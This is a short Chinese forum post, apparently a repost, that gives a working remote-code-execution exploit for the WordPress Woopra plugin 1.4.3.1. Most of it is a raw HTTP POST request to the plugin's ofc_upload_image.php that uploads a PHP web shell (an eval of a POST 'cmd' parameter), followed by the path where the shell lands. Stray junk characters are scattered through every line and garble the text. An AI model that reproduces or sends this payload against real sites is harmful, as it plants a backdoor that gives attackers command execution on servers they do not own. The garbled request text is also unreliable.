照例e文装逼 WordPress Woopra Remote Code Execution:http://www.wordpress-secure.org/ ... ote-code-execution/
9 G+ H: a1 K9 E6 h2 F0 a8 L% {此漏洞对Woopra 1.4.3.1以上版本无效。 插件下载地址: http://downloads.wordpress.org/plugin/woopra.1.4.3.1.zip ' C& p8 O/ \1 Y' N9 m/ O
exp发包: POST /wordpress/3.5.1_CN/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name=11.php HTTP/1.1. i. n; M' I) s j: _
Host: ha.cker.in
7 }) m5 N u! c2 Y) h: x" [Proxy-Connection: keep-alive
: |, j, b9 g5 z, d( sCache-Control: max-age=0
# Q( F) E; M6 _: j0 KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 b! p L5 g8 Z5 hUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.367 v6 D. f8 o8 g0 e4 X. w: ^5 A0 V
Accept-Encoding: gzip,deflate,sdch- b H8 o1 w, Y8 E
Accept-Language: zh-CN,zh;q=0.8; A6 o+ x2 K$ \' Z( ~- r
Content-Length: 28 <?php eval($_POST['cmd']); ?> ( c+ [- E, c2 d9 E2 S
上传的文件在http://ha.cker.in/wordpress/3.5. ... pload-images/11.php+ d" c4 U8 X# D7 u3 b
|